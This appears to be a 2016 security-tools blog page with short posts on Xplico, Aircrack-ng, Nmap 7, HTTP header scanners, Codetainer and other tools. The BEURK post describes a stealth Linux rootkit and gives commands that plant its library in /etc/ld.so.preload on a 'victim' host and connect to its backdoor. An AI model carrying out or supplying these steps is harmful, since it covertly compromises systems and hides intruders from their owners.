SECURITY EDUCATION, PRIVACY GUIDANCE, THREAT AWARENESS, OPEN SOURCE TOOLS, RESEARCH NOTES, AND RESPONSIBLE TECHNOLOGY CONTENT

  • Penetration Testing Distribution - BackBox

    BackBox is a penetration test and security assessment oriented Ubuntu-based Linux distribution providing a network and informatic systems analysis toolkit. It includes a complete set of tools required for ethical hacking and security testing...
  • Pentest Distro Linux - Weakerth4n

    Weakerth4n is a penetration testing distribution which is built from Debian Squeeze.For the desktop environment it uses Fluxbox...
  • The Amnesic Incognito Live System - Tails

    Tails is a live system that aims to preserve your privacy and anonymity. It helps you to use the Internet anonymously and circumvent censorship...
  • Penetration Testing Distribution - BlackArch

    BlackArch is a penetration testing distribution based on Arch Linux that provides a large amount of cyber security tools. It is an open-source distro created specially for penetration testers and security researchers...
  • The Best Penetration Testing Distribution - Kali Linux

    Kali Linux is a Debian-based distribution for digital forensics and penetration testing, developed and maintained by Offensive Security. Mati Aharoni and Devon Kearns rewrote BackTrack...
  • Friendly OS designed for Pentesting - ParrotOS

    Parrot Security OS is a cloud friendly operating system designed for Pentesting, Computer Forensic, Reverse engineering, Hacking, Cloud pentesting...

Wednesday, January 6, 2016

Xplico v1.1.1 - Open Source Network Forensic Analysis Tool (NFAT)



The goal of Xplico is extract from an internet traffic capture the applications data contained.

For example, from a pcap file Xplico extracts each email (POP, IMAP, and SMTP protocols), all HTTP contents, each VoIP call (SIP), FTP, TFTP, and so on. Xplico isn’t a network protocol analyzer. Xplico is an open source Network Forensic Analysis Tool (NFAT).

Features
  • Protocols supported: HTTP, SIP, IMAP, POP, SMTP, TCP, UDP, IPv6, …;
  • Port Independent Protocol Identification (PIPI) for each application protocol;
  • Multithreading;
  • Output data and information in SQLite database or Mysql database and/or files;
  • At each data reassembled by Xplico is associated a XML file that uniquely identifies the flows and the pcap containing the data reassembled;
  • Realtime elaboration (depends on the number of flows, the types of protocols and by the performance of computer -RAM, CPU, HD access time, …-);
  • TCP reassembly with ACK verification for any packet or soft ACK verification;
  • Reverse DNS lookup from DNS packages contained in the inputs files (pcap), not from external DNS server;
  • No size limit on data entry or the number of files entrance (the only limit is HD size);
  • IPv4 and IPv6 support;
  • Modularity. Each Xplico component is modular. The input interface, the protocol decoder (Dissector) and the output interface (dispatcher) are all modules;
  • The ability to easily create any kind of dispatcher with which to organize the data extracted in the most appropriate and useful to you;

Share:

Bohatei - Flexible and Elastic DDoS Defense



Bohatei is a first of its kind platform that enables flexible and elastic DDoS defense using SDN and NFV.

The repository contains a first version of the components described in the Bohatei paper, as well as a web-based User Interface. The backend folder consists of :
  • an implementation of the FlowTags framework for the OpenDaylight controller
  • an implementation of the resource management algorithms
  • a topology file that was used to simulate an ISP topology
  • scripts that facilitate functions such as spawning, tearing down and retrieving the topology.
  • scripts that automate and coordinate the components required for the usecases examined.
The frontend folder contains the required files for the web interface.
For the experiments performed, we used a set of VM images that contain implementations of the strategy graphs for each type of attack (SYN Flood, UDP Flood, DNS Amplification and Elephant Flow). Those images will become available at a later stage. The tools that were used for those strategy graphs are the following:


Share:

REXT - Router Exploitation Toolkit


Small toolkit for easy creation and usage of various python scripts that work with embedded devices.
  • core - contains most of toolkits basic functions
  • databases - contains databases, like default credentials etc.
  • interface - contains code that is being used for the creation and manipulation with interface
  • modules - contains structure of modules, that can be loaded, every module contains vendor specific sub-modules where scripts are stored.
    • decryptors
    • exploits
    • harvesters
    • misc
    • scanners
  • output - output goes here
This is still heavy work-in progress

Requirements
I am trying to keep the requirements minimal:
  • requests


Share:

Aircrack-ng 1.2 RC 3 - WEP and WPA-PSK Keys Cracking Program



Aircrack-ng is an 802.11 WEP and WPA-PSK keys cracking program that can recover keys once enough data packets have been captured. It implements the standard FMS attack along with some optimizations like KoreK attacks, as well as the PTW attack, thus making the attack much faster compared to other WEP cracking tools.

Third release candidate and hopefully this should be the last one. It contains a ton of bug fixes, code cleanup, improvements and compilation fixes everywhere. Some features were added: AppArmor profiles, better FreeBSD support, including an airmon-ng for FreeBSD.

Aircrack-ng Changelog

Version 1.2-rc3 (changes from aircrack-ng 1.2-rc2) - Released 21 Nov 2015:
  • Airodump-ng: Prevent sending signal to init which caused the system to reboot/shutdown.
  • Airbase-ng: Allow to use a user-specified ANonce instead of a randomized one when doing the 4-way handshake
  • Aircrack-ng: Fixed compilation warnings.
  • Aircrack-ng: Removed redundant NULL check and fixed typo in another one.
  • Aircrack-ng: Workaround for segfault when compiling aircrack-ng with clang and gcrypt and running a check.
  • Airmon-ng: Created version for FreeBSD.
  • Airmon-ng: Prevent passing invalid values as channel.
  • Airmon-ng: Handle udev renaming interfaces.
  • Airmon-ng: Better handling of rfkill.
  • Airmon-ng: Updated OUI URL.
  • Airmon-ng: Fix VM detection.
  • Airmon-ng: Make lsusb optional if there doesn't seem to be a usb bus. Improve pci detection slightly.
  • Airmon-ng: Various cleanup and fixes (including wording and typos).
  • Airmon-ng: Display iw errors.
  • Airmon-ng: Improved handling of non-monitor interfaces.
  • Airmon-ng: Fixed error when running 'check kill'.
  • Airdrop-ng: Display error instead of stack trace.
  • Airmon-ng: Fixed bashism.
  • Airdecap-ng: Allow specifying output file names.
  • Airtun-ng: Added missing parameter to help screen.
  • Besside-ng-crawler: Removed reference to darkircop.org (non-existent subdomain).
  • Airgraph-ng: Display error when no graph type is specified.
  • Airgraph-ng: Fixed make install.
  • Manpages: Fixed, updated and improved airodump-ng, airmon-ng, aircrack-ng, airbase-ng and aireplay-ng manpages.
  • Aircrack-ng GUI: Fixes issues with wordlists selection.
  • OSdep: Add missing RADIOTAP_SUPPORT_OVERRIDES check.
  • OSdep: Fix possible infinite loop.
  • OSdep: Use a default MTU of 1500 (Linux only).
  • OSdep: Fixed compilation on OSX.
  • AppArmor: Improved and added profiles.
  • General: Fixed warnings reported by clang.
  • General: Updated TravisCI configuration file
  • General: Fixed typos in various tools.
  • General: Fixed clang warning about 'gcry_thread_cbs()' being deprecated with gcrypt > 1.6.0.
  • General: Fixed compilation on cygwin due to undefined reference to GUID_DEVCLASS_NET
  • General: Fixed compilation with musl libc.
  • General: Improved testing and added test cases (make check).
  • General: Improved mutexes handling in various tools.
  • General: Fixed memory leaks, use afer free, null termination and return values in various tools and OSdep.
  • General: Fixed compilation on FreeBSD.
  • General: Various fixes and improvements to README (wording, compilation, etc).
  • General: Updated copyrights in help screen.


Share:

Hsecscan - A Security Scanner For HTTP Response Headers

hsecscan
A security scanner for HTTP response headers.

Requirements
Python 2.x

Usage
$ ./hsecscan.py 
usage: hsecscan.py [-h] [-P] [-p] [-u URL] [-R] [-U User-Agent]
[-d 'POST data'] [-x PROXY]

A security scanner for HTTP response headers.

optional arguments:
-h, --help show this help message and exit
-P, --database Print the entire response headers database.
-p, --headers Print only the enabled response headers from database.
-u URL, --URL URL The URL to be scanned.
-R, --redirect Print redirect headers.
-U User-Agent, --useragent User-Agent
Set the User-Agent request header (default: hsecscan).
-d 'POST data', --postdata 'POST data'
Set the POST data (between single quotes) otherwise
will be a GET (example: '{ "q":"query string",
"foo":"bar" }').
-x PROXY, --proxy PROXY
Set the proxy server (example: 192.168.1.1:8080).



Example
$ ./hsecscan.py -u https://google.com
>> RESPONSE INFO <<
URL: https://www.google.com.br/?gfe_rd=cr&ei=Qlg_Vu-WHqWX8QeHraH4DQ
Code: 200
Headers:
Date: Sun, 08 Nov 2015 14:12:18 GMT
Expires: -1
Cache-Control: private, max-age=0
Content-Type: text/html; charset=ISO-8859-1
P3P: CP="This is not a P3P policy! See http://www.google.com/support/accounts/bin/answer.py?hl=en&answer=151657 for more info."
Server: gws
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Set-Cookie: PREF=ID=1111111111111111:FF=0:TM=1446991938:LM=1446991938:V=1:S=wT722CJeTI8DR-6b; expires=Thu, 31-Dec-2015 16:02:17 GMT; path=/; domain=.google.com.br
Set-Cookie: NID=73=IQTBy8sF0rXq3cu2hb3JHIYqEarBeft7Ciio6uPF2gChn2tj34-kRocXzBwPb6-BLABp0grZvHf7LQnRQ9Z_YhGgzt-oFrns3BMSIGoGn4BWBA48UtsFw4OsB5RZ4ODz1rZb9XjCYemyZw7e5ZJ5pWftv5DPul0; expires=Mon, 09-May-2016 14:12:18 GMT; path=/; domain=.google.com.br; HttpOnly
Alternate-Protocol: 443:quic,p=1
Alt-Svc: quic="www.google.com:443"; p="1"; ma=600,quic=":443"; p="1"; ma=600
Accept-Ranges: none
Vary: Accept-Encoding
Connection: close


>> RESPONSE HEADERS DETAILS <<
Header Field Name: X-XSS-Protection
Value: 1; mode=block
Reference: http://blogs.msdn.com/b/ie/archive/2008/07/02/ie8-security-part-iv-the-xss-filter.aspx
Security Description: This header enables the Cross-site scripting (XSS) filter built into most recent web browsers. It's usually enabled by default anyway, so the role of this header is to re-enable the filter for this particular website if it was disabled by the user. This header is supported in IE 8+, and in Chrome (not sure which versions). The anti-XSS filter was added in Chrome 4. Its unknown if that version honored this header.
Security Reference: https://www.owasp.org/index.php/List_of_useful_HTTP_headers
Recommendations: Use "X-XSS-Protection: 1; mode=block" whenever is possible (ref. http://blogs.msdn.com/b/ieinternals/archive/2011/01/31/controlling-the-internet-explorer-xss-filter-with-the-x-xss-protection-http-header.aspx).
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
CWE URL: https://cwe.mitre.org/data/definitions/79.html

Header Field Name: Set-Cookie
Value: PREF=ID=1111111111111111:FF=0:TM=1446991938:LM=1446991938:V=1:S=wT722CJeTI8DR-6b; expires=Thu, 31-Dec-2015 16:02:17 GMT; path=/; domain=.google.com.br, NID=73=IQTBy8sF0rXq3cu2hb3JHIYqEarBeft7Ciio6uPF2gChn2tj34-kRocXzBwPb6-BLABp0grZvHf7LQnRQ9Z_YhGgzt-oFrns3BMSIGoGn4BWBA48UtsFw4OsB5RZ4ODz1rZb9XjCYemyZw7e5ZJ5pWftv5DPul0; expires=Mon, 09-May-2016 14:12:18 GMT; path=/; domain=.google.com.br; HttpOnly
Reference: https://tools.ietf.org/html/rfc6265
Security Description: Cookies have a number of security pitfalls. In particular, cookies encourage developers to rely on ambient authority for authentication, often becoming vulnerable to attacks such as cross-site request forgery. Also, when storing session identifiers in cookies, developers often create session fixation vulnerabilities. Transport-layer encryption, such as that employed in HTTPS, is insufficient to prevent a network attacker from obtaining or altering a victim's cookies because the cookie protocol itself has various vulnerabilities. In addition, by default, cookies do not provide confidentiality or integrity from network attackers, even when used in conjunction with HTTPS.
Security Reference: https://tools.ietf.org/html/rfc6265#section-8
Recommendations: Please at least read these references: https://tools.ietf.org/html/rfc6265#section-8 and https://www.owasp.org/index.php/Session_Management_Cheat_Sheet#Cookies.
CWE: CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute
CWE URL: https://cwe.mitre.org/data/definitions/614.html

Header Field Name: Accept-Ranges
Value: none
Reference: https://tools.ietf.org/html/rfc7233#section-2.3
Security Description: Unconstrained multiple range requests are susceptible to denial-of-service attacks because the effort required to request many overlapping ranges of the same data is tiny compared to the time, memory, and bandwidth consumed by attempting to serve the requested data in many parts.
Security Reference: https://tools.ietf.org/html/rfc7233#section-6
Recommendations: Servers ought to ignore, coalesce, or reject egregious range requests, such as requests for more than two overlapping ranges or for many small ranges in a single set, particularly when the ranges are requested out of order for no apparent reason.
CWE: CWE-400: Uncontrolled Resource Consumption ('Resource Exhaustion')
CWE URL: https://cwe.mitre.org/data/definitions/400.html

Header Field Name: Expires
Value: -1
Reference: https://tools.ietf.org/html/rfc7234#section-5.3
Security Description:
Security Reference:
Recommendations:
CWE:
CWE URL:

Header Field Name: Vary
Value: Accept-Encoding
Reference: https://tools.ietf.org/html/rfc7231#section-7.1.4
Security Description:
Security Reference:
Recommendations:
CWE:
CWE URL:

Header Field Name: Server
Value: gws
Reference: https://tools.ietf.org/html/rfc7231#section-7.4.2
Security Description: Overly long and detailed Server field values increase response latency and potentially reveal internal implementation details that might make it (slightly) easier for attackers to find and exploit known security holes.
Security Reference: https://tools.ietf.org/html/rfc7231#section-7.4.2
Recommendations: An origin server SHOULD NOT generate a Server field containing needlessly fine-grained detail and SHOULD limit the addition of subproducts by third parties.
CWE: CWE-200: Information Exposure
CWE URL: https://cwe.mitre.org/data/definitions/200.html

Header Field Name: Connection
Value: close
Reference: https://tools.ietf.org/html/rfc7230#section-6.1
Security Description:
Security Reference:
Recommendations:
CWE:
CWE URL:

Header Field Name: Cache-Control
Value: private, max-age=0
Reference: https://tools.ietf.org/html/rfc7234#section-5.2
Security Description: Caches expose additional potential vulnerabilities, since the contents of the cache represent an attractive target for malicious exploitation. Because cache contents persist after an HTTP request is complete, an attack on the cache can reveal information long after a user believes that the information has been removed from the network. Therefore, cache contents need to be protected as sensitive information.
Security Reference: https://tools.ietf.org/html/rfc7234#section-8
Recommendations: Do not store unnecessarily sensitive information in the cache.
CWE: CWE-524: Information Exposure Through Caching
CWE URL: https://cwe.mitre.org/data/definitions/524.html

Header Field Name: Date
Value: Sun, 08 Nov 2015 14:12:18 GMT
Reference: https://tools.ietf.org/html/rfc7231#section-7.1.1.2
Security Description:
Security Reference:
Recommendations:
CWE:
CWE URL:

Header Field Name: P3P
Value: CP="This is not a P3P policy! See http://www.google.com/support/accounts/bin/answer.py?hl=en&answer=151657 for more info."
Reference: http://www.w3.org/TR/P3P11/#syntax_ext
Security Description: While P3P itself does not include security mechanisms, it is intended to be used in conjunction with security tools. Users' personal information should always be protected with reasonable security safeguards in keeping with the sensitivity of the information.
Security Reference: http://www.w3.org/TR/P3P11/#principles_security
Recommendations: -
CWE: -
CWE URL: -

Header Field Name: Content-Type
Value: text/html; charset=ISO-8859-1
Reference: https://tools.ietf.org/html/rfc7231#section-3.1.1.5
Security Description: In practice, resource owners do not always properly configure their origin server to provide the correct Content-Type for a given representation, with the result that some clients will examine a payload's content and override the specified type. Clients that do so risk drawing incorrect conclusions, which might expose additional security risks (e.g., "privilege escalation").
Security Reference: https://tools.ietf.org/html/rfc7231#section-3.1.1.5
Recommendations: Properly configure their origin server to provide the correct Content-Type for a given representation.
CWE: CWE-430: Deployment of Wrong Handler
CWE URL: https://cwe.mitre.org/data/definitions/430.html

Header Field Name: X-Frame-Options
Value: SAMEORIGIN
Reference: https://tools.ietf.org/html/rfc7034
Security Description: The use of "X-Frame-Options" allows a web page from host B to declare that its content (for example, a button, links, text, etc.) must not be displayed in a frame (<frame> or <iframe>) of another page (e.g., from host A). This is done by a policy declared in the HTTP header and enforced by browser implementations.
Security Reference: https://tools.ietf.org/html/rfc7034
Recommendations: In 2009 and 2010, many browser vendors ([Microsoft-X-Frame-Options] and [Mozilla-X-Frame-Options]) introduced the use of a non-standard HTTP [RFC2616] header field "X-Frame-Options" to protect against clickjacking. Please check here https://www.owasp.org/index.php/Clickjacking_Defense_Cheat_Sheet what's the best option for your case.
CWE: CWE-693: Protection Mechanism Failure
CWE URL: https://cwe.mitre.org/data/definitions/693.html

>> RESPONSE MISSING HEADERS <<
Header Field Name: Pragma
Reference: https://tools.ietf.org/html/rfc7234#section-5.4
Security Description: Caches expose additional potential vulnerabilities, since the contents of the cache represent an attractive target for malicious exploitation.
Security Reference: https://tools.ietf.org/html/rfc7234#section-8
Recommendations: The "Pragma" header field allows backwards compatibility with HTTP/1.0 caches, so that clients can specify a "no-cache" request that they will understand (as Cache-Control was not defined until HTTP/1.1). When the Cache-Control header field is also present and understood in a request, Pragma is ignored. Define "Pragma: no-cache" whenever is possible.
CWE: CWE-524: Information Exposure Through Caching
CWE URL: https://cwe.mitre.org/data/definitions/524.html

Header Field Name: Public-Key-Pins
Reference: https://tools.ietf.org/html/rfc7469
Security Description: HTTP Public Key Pinning (HPKP) is a trust on first use security mechanism which protects HTTPS websites from impersonation using fraudulent certificates issued by compromised certificate authorities. The security context or pinset data is supplied by the site or origin.
Security Reference: https://tools.ietf.org/html/rfc7469
Recommendations: Deploying Public Key Pinning (PKP) safely will require operational and organizational maturity due to the risk that hosts may make themselves unavailable by pinning to a set of SPKIs that becomes invalid. With care, host operators can greatly reduce the risk of man-in-the-middle (MITM) attacks and other false- authentication problems for their users without incurring undue risk. PKP is meant to be used together with HTTP Strict Transport Security (HSTS) [RFC6797], but it is possible to pin keys without requiring HSTS.
CWE: CWE-295: Improper Certificate Validation
CWE URL: https://cwe.mitre.org/data/definitions/295.html

Header Field Name: Public-Key-Pins-Report-Only
Reference: https://tools.ietf.org/html/rfc7469
Security Description: HTTP Public Key Pinning (HPKP) is a trust on first use security mechanism which protects HTTPS websites from impersonation using fraudulent certificates issued by compromised certificate authorities. The security context or pinset data is supplied by the site or origin.
Security Reference: https://tools.ietf.org/html/rfc7469
Recommendations: Deploying Public Key Pinning (PKP) safely will require operational and organizational maturity due to the risk that hosts may make themselves unavailable by pinning to a set of SPKIs that becomes invalid. With care, host operators can greatly reduce the risk of man-in-the-middle (MITM) attacks and other false- authentication problems for their users without incurring undue risk. PKP is meant to be used together with HTTP Strict Transport Security (HSTS) [RFC6797], but it is possible to pin keys without requiring HSTS.
CWE: CWE-295: Improper Certificate Validation
CWE URL: https://cwe.mitre.org/data/definitions/295.html

Header Field Name: Strict-Transport-Security
Reference: https://tools.ietf.org/html/rfc6797
Security Description: HTTP Strict Transport Security (HSTS) is a web security policy mechanism which helps to protect secure HTTPS websites against downgrade attacks and cookie hijacking. It allows web servers to declare that web browsers (or other complying user agents) should only interact with it using secure HTTPS connections, and never via the insecure HTTP protocol. HSTS is an IETF standards track protocol and is specified in RFC 6797.
Security Reference: https://tools.ietf.org/html/rfc6797
Recommendations: Please at least read this reference: https://www.owasp.org/index.php/HTTP_Strict_Transport_Security.
CWE: CWE-311: Missing Encryption of Sensitive Data
CWE URL: https://cwe.mitre.org/data/definitions/311.html

Header Field Name: Frame-Options
Reference: https://tools.ietf.org/html/rfc7034
Security Description: The use of "X-Frame-Options" allows a web page from host B to declare that its content (for example, a button, links, text, etc.) must not be displayed in a frame (<frame> or <iframe>) of another page (e.g., from host A). This is done by a policy declared in the HTTP header and enforced by browser implementations.
Security Reference: https://tools.ietf.org/html/rfc7034
Recommendations: In 2009 and 2010, many browser vendors ([Microsoft-X-Frame-Options] and [Mozilla-X-Frame-Options]) introduced the use of a non-standard HTTP [RFC2616] header field "X-Frame-Options" to protect against clickjacking. Please check here https://www.owasp.org/index.php/Clickjacking_Defense_Cheat_Sheet what's the best option for your case.
CWE: CWE-693: Protection Mechanism Failure
CWE URL: https://cwe.mitre.org/data/definitions/693.html

Header Field Name: X-Content-Type-Options
Reference: http://blogs.msdn.com/b/ie/archive/2008/09/02/ie8-security-part-vi-beta-2-update.aspx
Security Description: The only defined value, "nosniff", prevents Internet Explorer and Google Chrome from MIME-sniffing a response away from the declared content-type. This also applies to Google Chrome, when downloading extensions. This reduces exposure to drive-by download attacks and sites serving user uploaded content that, by clever naming, could be treated by MSIE as executable or dynamic HTML files.
Security Reference: https://www.owasp.org/index.php/List_of_useful_HTTP_headers
Recommendations: Always use the only defined value, "nosniff".
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
CWE URL: https://cwe.mitre.org/data/definitions/79.html

Header Field Name: Content-Security-Policy
Reference: http://www.w3.org/TR/CSP/
Security Description: Content Security Policy requires careful tuning and precise definition of the policy. If enabled, CSP has significant impact on the way browser renders pages (e.g., inline JavaScript disabled by default and must be explicitly allowed in policy). CSP prevents a wide range of attacks, including Cross-site scripting and other cross-site injections.
Security Reference: https://www.owasp.org/index.php/List_of_useful_HTTP_headers
Recommendations: Read the reference http://www.w3.org/TR/CSP/ and set according to your case. This is not a easy job.
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
CWE URL: https://cwe.mitre.org/data/definitions/79.html

Header Field Name: X-Content-Security-Policy
Reference: http://www.w3.org/TR/CSP/
Security Description: Content Security Policy requires careful tuning and precise definition of the policy. If enabled, CSP has significant impact on the way browser renders pages (e.g., inline JavaScript disabled by default and must be explicitly allowed in policy). CSP prevents a wide range of attacks, including Cross-site scripting and other cross-site injections.
Security Reference: https://www.owasp.org/index.php/List_of_useful_HTTP_headers
Recommendations: Read the reference http://www.w3.org/TR/CSP/ and set according to your case. This is not a easy job.
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
CWE URL: https://cwe.mitre.org/data/definitions/79.html

Header Field Name: X-WebKit-CSP
Reference: http://www.w3.org/TR/CSP/
Security Description: Content Security Policy requires careful tuning and precise definition of the policy. If enabled, CSP has significant impact on the way browser renders pages (e.g., inline JavaScript disabled by default and must be explicitly allowed in policy). CSP prevents a wide range of attacks, including Cross-site scripting and other cross-site injections.
Security Reference: https://www.owasp.org/index.php/List_of_useful_HTTP_headers
Recommendations: Read the reference http://www.w3.org/TR/CSP/ and set according to your case. This is not a easy job.
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
CWE URL: https://cwe.mitre.org/data/definitions/79.html

Header Field Name: Content-Security-Policy-Report-Only
Reference: http://www.w3.org/TR/CSP/
Security Description: Like Content-Security-Policy, but only reports. Useful during implementation, tuning and testing efforts.
Security Reference: https://www.owasp.org/index.php/List_of_useful_HTTP_headers
Recommendations: Read the reference http://www.w3.org/TR/CSP/ and set according to your case. This is not a easy job.
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
CWE URL: https://cwe.mitre.org/data/definitions/79.html


Share:

Nmap 7 - Security Scanner For Network Exploration & Security Audits



Nmap (“Network Mapper”) is a free and open source (license) utility for network discovery and security auditing. Many systems and network administrators also find it useful for network inventory, managing service upgrade schedules, monitoring host or service uptime, and many other tasks. Nmap uses raw IP packets in novel ways to determine what hosts are available on the network, what services (application name and version) those hosts are offering, what operating systems (and OS versions) they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics. It was designed to rapidly scan large networks, but works fine against single hosts. Nmap runs on all major computer operating systems, and official binary packages are available for Linux, Windows, and Mac OS X. In addition to the classic command-line Nmap executable, the Nmap suite includes an advanced GUI and results viewer (Zenmap), a flexible data transfer, redirection, and debugging tool (Ncat), a utility for comparing scan results (Ndiff), and a packet generation and response analysis tool (Nping).

Nmap was named “Security Product of the Year” by Linux Journal, Info World, LinuxQuestions.Org, and Codetalker Digest. It was even featured in nineteen movies and TV series, including The Matrix Reloaded, The Bourne Ultimatum. Girl with the Dragon Tattoo, Dredd, Elysium, and Die Hard 4. Nmap was released to the public in 1997 and has earned the trust of millions of users.

Top 7 Improvements in Nmap 7

Before we get into the detailed changes, here are the top 7 improvements in Nmap 7:
1. Major Nmap Scripting Engine (NSE) Expansion
As the Nmap core has matured, more and more new functionality is developed as part of our NSE subsystem instead. In fact, we've added 171 new scripts and 20 libraries since Nmap 6. Exmaples include firewall-bypass, supermicro-ipmi-conf, oracle-brute-stealth, and ssl-heartbleed. And NSE is now powerful enough that scripts can take on core functions such as host discovery (dns-ip6-arpa-scan), version scanning (ike-version, snmp-info, etc.), and RPC grinding (rpc-grind). There's even a proposal to implement port scanning in NSE. [More Details]

2. Mature IPv6 support
IPv6 scanning improvements were a big item in the Nmap 6 release, but Nmap 7 outdoes them all with full IPv6 support for CIDR-style address ranges, Idle Scan, parallel reverse-DNS, and more NSE script coverage. [More Details]

3. Infrastructure Upgrades
We may be an 18-year-old project, but that doesn't mean we'll stick with old, crumbling infrastructure! The Nmap Project continues to adopt the latest technologies to enhance the development process and serve a growing user base. For example, we converted all of Nmap.Org to SSL to reduce the risk of trojan binaries and reduce snooping in general. We've also been using the Git version control system as a larger part of our workflow and have an official Github mirror of the Nmap Subversion source repository and we encourage code submissions to be made as Github pull requests. We also created an official bug tracker which is also hosted on Github. Tracking bugs and enhancement requests this way has already reduced the number which fall through the cracks. [More Details]

4. Faster Scans
Nmap has continually pushed the speed boundaries of synchronous network scanning for 18 years, and this release is no exception. New Nsock engines give a performance boost to Windows and BSD systems, target reordering prevents a nasty edge case on multihomed systems, and NSE tweaks lead to much faster -sV scans. [More Details]

5. SSL/TLS scanning solution of choice
Transport Layer Security (TLS) and its predecessor, SSL, are the security underpinning of the web, so when big vulnerabilities like Heartbleed, POODLE, and FREAK come calling, Nmap answers with vulnerability detection NSE scripts. The ssl-enum-ciphers script has been entirely revamped to perform fast analysis of TLS deployment problems, and version scanning probes have been tweaked to quickly detect the newest TLS handshake versions. [More Details]

6. Ncat Enhanced
We are excited and proud to announce that Ncat has been adopted by the Red Hat/Fedora family of distributions as the default package to provide the "netcat" and "nc" commands! This cooperation has resulted in a lot of squashed bugs and enhanced compatibility with Netcat's options. Also very exciting is the addition of an embedded Lua interpreter for creating simple, cross-platform daemons and traffic filters.

7. Extreme Portability
Nmap is proudly cross-platform and runs on all sorts of esoteric and archaic systems. But our binary distributions have to be kept up-to-date with the latest popular operating systems. Nmap 7 runs cleanly on Windows 10 all the way back to Windows Vista. By popular request, we even built it to run on Windows XP, though we suggest those users upgrade their systems. Mac OS X is supported from 10.8 Mountain Lion through 10.11 El Capitan. Plus, we updated support for Solaris and AIX. And Linux users—you have it easy.

Share:

GetHead - HTTP Header Analysis Vulnerability Tool


gethead.py is a Python HTTP Header Analysis Vulnerability Tool. It identifies security vulnerabilities and the lack of protection in HTTP Headers.

Usage:
$ python gethead.py http://domain.com

Changelog
Version 0.1 - Initial Release
  • Written in Python 2.7.5
  • Performs HTTP Header Analysis
  • Reports Header Vulnerabilities

Features in Development
Version 0.2 - Next Release (April 2014 Release)
  • Support for git updates
  • Support for Python 3.3
  • Complete Header Analysis
  • Additional Logic for Severity Classifications
  • Rank Vulnerabilities by Severity
  • Export Findings with Description, Impact, Execution, Fix, and References
  • Export with multi-format options (XML, HTML, TXT)

Version 0.3 - Future Release (May 2014 Release)
  • Replay and Inline Upstream Proxy support to import into other tools
  • Scan domains, sub-domains, and multi-services
  • Header Injection and Fuzzing functionality
  • HTTP Header Policy Bypassing
  • Modularize and port to more platforms
    (e.g. gMinor, Kali, Burp Extension, Metasploit, Chrome, Firefox)

Share:

Beurk - Experimental Unix Rootkit

BEURK is an userland preload rootkit for GNU/Linux, heavily focused around anti-debugging and anti-detection.
NOTE: BEURK is a recursive acronym for B EURK E xperimental U nix R oot K it

Features
  • Hide attacker files and directories
  • Realtime log cleanup (on utmp/wtmp )
  • Anti process and login detection
  • Bypass unhide, lsof, ps, ldd, netstat analysis
  • Furtive PTY backdoor client

Upcoming features
  • ptrace(2) hooking for anti-debugging
  • libpcap hooking undermines local sniffers
  • PAM backdoor for local privilege escalation

Usage
  • Compile
    git clone https://github.com/unix-thrust/beurk.git
cd beurk
make
  • Install
    scp libselinux.so root@victim.com:/lib/
ssh root@victim.com 'echo /lib/libselinux.so >> /etc/ld.so.preload'
  • Enjoy !
    ./client.py victim_ip:port # connect with furtive backdoor

Dependencies
The following packages are not required in order to build BEURK at the moment:
  • libpcap - to avoid local sniffing
  • libpam - for local PAM backdoor
  • libssl - for encrypted backdoor connection
Example on debian:
    apt-get install libpcap-dev libpam-dev libssl-dev


Share:

Codetainer - A Docker Container In Your Browser



codetainer allows you to create code 'sandboxes' you can embed in your web applications (think of it like an OSS clone of codepicnic.com ).

Codetainer runs as a webservice and provides APIs to create, view, and attach to the sandbox along with a nifty HTML terminal you can interact with the sandbox in realtime. It uses Docker and its introspection APIs to provide the majority of this functionality.

Codetainer is written in Go. For more information, see the slides from a talk introduction .

Build & Installation

Requirements
  • Docker >=1.8 (required for file upload API)
  • Go >=1.4
  • godep

Building & Installing From Source
# set your $GOPATH
go get github.com/codetainerapp/codetainer
# you may get errors about not compiling due to Asset missing, it's ok. bindata.go needs to be created
# by `go generate` first.
cd $GOPATH/src/github.com/codetainerapp/codetainer
# make install_deps # if you need the dependencies like godep
make
This will create ./bin/codetainer.

Configuring Docker
You must configure Docker to listen on a TCP port.
DOCKER_OPTS="-H tcp://127.0.0.1:4500 -H unix:///var/run/docker.sock"

Configuring codetainer
See ~/.codetainer/config.toml. This file will get auto-generated the first time you run codetainer, please edit defaults as appropriate.
# Docker API server and port
DockerServer = "localhost"
DockerPort = 4500

# Enable TLS support (optional, if you access to Docker API over HTTPS)
# DockerServerUseHttps = true
# Certificate directory path (optional)
# e.g. if you use Docker Machine: "~/.docker/machine/certs"
# DockerCertPath = "/path/to/certs"

# Database path (optional, default is ~/.codetainer/codetainer.db)
# DatabasePath = "/path/to/codetainer.db"

Running an example codetainer
$ sudo docker pull ubuntu:14.04
$ codetainer image register ubuntu:14.04
$ codetainer create ubuntu:14.04 my-codetainer-name
$ codetainer server # to start the API server on port 3000

Embedding a codetainer in your web app
  1. Copy codetainer.js to your webapp.
  2. Include codetainer.js and jquery in your web page. Create a div to house the codetainer terminal iframe (it's #terminal in the example below).
    <!DOCTYPE html>
    <html>
    <head>
    <meta charset="UTF-8">
    <title>lsof tutorial</title>
    <link rel='stylesheet' href='/stylesheets/style.css' />
    <script src="http://code.jquery.com/jquery-1.10.1.min.js"></script>
    <script src="/javascripts/codetainer.js"></script>
    <script src="/javascripts/lsof.js"></script>
    </head>
    <body>
    <div id="terminal" data-container="YOUR CODETAINER ID HERE">
    </body>
    </html>
  3. Run the javascript to load the codetainer iframe from the codetainer API server (supply data-container as the id of codetainer on the div, or supply codetainer in the constructor options).
 $('#terminal').codetainer({
terminalOnly: false, // set to true to show only a terminal window
url: "http://127.0.0.1:3000", // replace with codetainer server URL
container: "YOUR CONTAINER ID HERE",
width: "100%",
height: "100%",
});


Share:
Established in 2015. Offensive Sec Blog has been sharing security research, hacking tools, threat intelligence, and offensive security content since 2015.
Copyright © OffSec Blog | Powered by OffensiveSec
Design by OffSec | Built for the security community